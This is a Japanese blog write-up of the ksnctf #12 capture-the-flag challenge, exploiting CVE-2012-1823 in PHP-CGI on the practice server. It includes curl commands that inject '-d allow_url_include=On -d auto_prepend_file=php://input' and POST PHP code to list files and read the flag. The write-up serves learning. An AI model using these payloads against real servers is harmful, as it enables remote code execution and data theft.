ctfのお勉強 ksnctf #12 hypertext processor

ksnctfを解いてみた

ksnctf

#12 hypertext processor

タイトルからPHP関連かなと想像
何度かアクセスすると下の方の数字は変わるけど上の方の数字2012:1823はかわらず。
とりあえず、ヘッダからバージョン確認

$>curl -I ctfq.sweetduet.info:10080/~q12/
HTTP/1.1 200 OK
Date: Sun, 05 Nov 2017 02:22:44 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.4.1
Connection: close
Content-Type: text/html; charset=UTF-8

php5.4.1で検索するとCVE-2012-1823が見つかるので-sでアクセスしてみる
2012:1823はこのことですか。

http://ctfq.sweetduet.info:10080/~q12/index.php?-s

フラグはここにあるよと。
f:id:skymay:20171105111540p:plain

ディレクトリ一覧を取得

curl -v http://ctfq.sweetduet.info:10080/\~q12/index.php\?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php print_r(scandir('.'));?>"

ファイルがわかったので、中身をみます

curl -v http://ctfq.sweetduet.info:10080/\~q12/index.php\?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php echo readfile('flag_flag_flag.txt');?>"